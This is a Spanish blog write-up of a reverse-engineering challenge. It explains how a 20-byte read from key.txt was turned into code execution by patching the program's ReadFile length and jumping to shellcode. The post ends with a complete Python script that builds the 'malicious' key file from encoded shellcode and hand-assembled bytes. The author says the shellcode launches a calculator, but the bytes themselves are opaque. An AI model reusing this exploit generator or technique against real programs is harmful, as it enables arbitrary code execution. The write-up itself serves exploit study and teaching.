11 abril 2014

Ola k ase? ejecutas código o k ase?

Llegados a este punto lo di por solucionado y me olvidé del reto hasta que hace menos de un mes me encontré en una de esas situaciones que aterrorizan a cualquier informático del siglo XXI: ¡estar de viaje hospedado en un hotel sin WIFI y con un ordenador delante! Ya había visto todas las series y papers que tenía en el ordenador. En ese momento vi solitaria una carpeta con el binario y me dio por volver a cargarlo en IDA a ver que se me ocurría. ¿Ejecución de código…?

Cuando estuve haciendo el reto ya se me ocurrió esa idea pero la descarté ya que el binario solo leía 20 bytes (14h) de todo el fichero y eso no es suficiente como para cargar una shellcode (por muy pequeña que sea) y saltar a ella. Sin embargo ese día sin internet tenía tiempo para darle a la pelota a ver que salía, y algo salió.

Se me ocurrió que podía escribir yo mismo el código ASM necesario para releer el fichero  “key.txt” entero y por tanto ya tener la shellcode en memoria a la que más tarde saltaría. Sin embargo solo tenía 16 bytes (20 menos los 4 necesarios para indicar a donde queremos hacer el salto) y era imposible en tan poco espacio. Incluso intentando rescatar valores de la pila o de los registros para hacer que ocupase lo menos posible (evitando un MOV EAX, 11223344 que ocupa 5 bytes y usar instrucciones que solo sean un opcode como PUSH EAX).  Imposible…

Finalmente, tras estar cerca de rendirme, le volví a echar un ojo al código y… se me ocurrió una forma de conseguirlo. Podría hacer una ROP chain que se encargase de modificar en memoria y en tiempo de ejecución la zona donde se encuentra ese 14h por otro valor más grande, es decir utilizar el propio código de ReadFile que tiene el programa pero habiendo modificado el número de valores que la función va a leer. Al fin y al cabo, ¡para qué escribir mi código y gastar valiosos bytes si el propio código tiene lo que necesito!



A la izquierda tenemos el código ensamblado generado por el compilador mientras que a la derecha tenemos el principio de la ROP chain a la que se accede tras hacer el CALL EAX. Podemos ver que he usado EDI como referencia tanto para saber a qué dirección saltar después de parchear el número de bytes a leer como para saber qué dirección exacta saltar. No voy a entrar en detalles con los datos ya que son puras matemáticas en función del tamaño en opcodes de cada instrucción. Al utilizar EDI (que es el valor del RET) como referencia, he conseguido ahorrar mucho tamaño a la ROP chain e incluso me han sobrado algunos bytes.

Tras ejecutar ese cacho de código podemos ver que en efecto el flujo vuelve al primer PUSH de la función ReadFile y que el tamaño a leer ha cambiado:



Después del CALL a la función ReadFile ya tenemos toda la shellcode en memoria. Solo falta saltar a ella. Si echamos un ojo a la memoria podremos ver que solo se carga el contenido del fichero “key.txt” que no se había cargado anteriormente. Esto nos viene perfecto ya que simplemente debemos volver a hacer matemáticas con el valor “7A40B660” harcodeado para saltar de nuevo a nuestro propio código del fichero “key.txt” (esta vez 529 bytes (211h)).

Como vimos anteriormente, nuestro fichero se carga en la dirección de memoria 4040E4. Si le sumamos los 4 bytes que se usan para hacer  las “mates” con el valor harcodeado nos queda 4040E8 y por tanto como vimos antes:
7A40B660 + X = 4040E8 => X = 85FF8A88  (888AFF85 en Little Endian).

Lo añadimos a nuestro ROP chain y ¡listo! Ya tenemos lo necesario para saltar a nuestra shellcode. Yo he creado un “key.txt” con una shellcode que ejecuta una calculadora. Corremos el programa y:




Aquí os dejo el código en python que usé para generar el archivo “key.txt” malicioso que ejecutará la shellcode que le indiquemos:


exploit=open("key.txt","w+")
shellcode=("\xdb\xc2\xb8\x68\x84\x96\x3c\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x2b\x97\x74\xc9\x57\x7f\xf1"
"\x32\xa7\x80\x62\xba\x42\xb1\xb0\xd8\x07\xe0\x04\xaa\x45\x09"
"\xee\xfe\x7d\x9a\x82\xd6\x72\x2b\x28\x01\xbd\xac\x9c\x8d\x11"
"\x6e\xbe\x71\x6b\xa3\x60\x4b\xa4\xb6\x61\x8c\xd8\x39\x33\x45"
"\x97\xe8\xa4\xe2\xe5\x30\xc4\x24\x62\x08\xbe\x41\xb4\xfd\x74"
"\x4b\xe4\xae\x03\x03\x1c\xc4\x4c\xb4\x1d\x09\x8f\x88\x54\x26"
"\x64\x7a\x67\xee\xb4\x83\x56\xce\x1b\xba\x57\xc3\x62\xfa\x5f"
"\x3c\x11\xf0\x9c\xc1\x22\xc3\xdf\x1d\xa6\xd6\x47\xd5\x10\x33"
"\x76\x3a\xc6\xb0\x74\xf7\x8c\x9f\x98\x06\x40\x94\xa4\x83\x67"
"\x7b\x2d\xd7\x43\x5f\x76\x83\xea\xc6\xd2\x62\x12\x18\xba\xdb"
"\xb6\x52\x28\x0f\xc0\x38\x26\xce\x40\x47\x0f\xd0\x5a\x48\x3f"
"\xb9\x6b\xc3\xd0\xbe\x73\x06\x95\x31\x3e\x0b\xbf\xd9\xe7\xd9"
"\x82\x87\x17\x34\xc0\xb1\x9b\xbd\xb8\x45\x83\xb7\xbd\x02\x03"
"\x2b\xcf\x1b\xe6\x4b\x7c\x1b\x23\x28\xe3\x8f\xaf\x81\x86\x37"
"\x55\xde")

ROP="\x88"+"\x8a"+"\xff"+"\x85"#address to Jump
ROP+="\x5f"#POP EDI
ROP+="\x83"+"\xef"+"\x22"#SUB EDI,22h
ROP+="\x66"+"\xc7"+"\x47"+"\x0b"+"\x11"+"\x02"#MOV word ptr [EDI+0Bh], 211h =529bytes for the shellcode
ROP+="\xff"+"\xe7"#JMP EDI
ROP+="\x90"*4
ROP+="\x9c"+"\x8a"+"\xff"+"\x85"#address to Jump to the shellcode

ROP+="\x90"*50 # NOP junk. Happy Hour!

exploit.write(ROP+shellcode)
print "[+] Evil Key File generated"
exploit.close()

En el siguiente enlace podéis acceder al writeup completo en formato PDF: http://goo.gl/YQ0ts9

Agradecimientos

Quiero dar las gracias a los "juankers y en especial a Francisco Oca (@francisco_oca). Sus consejos y  tips sobre reversing son siempre muy apreciados. 




Artículo cortesía de: Alberto García Illera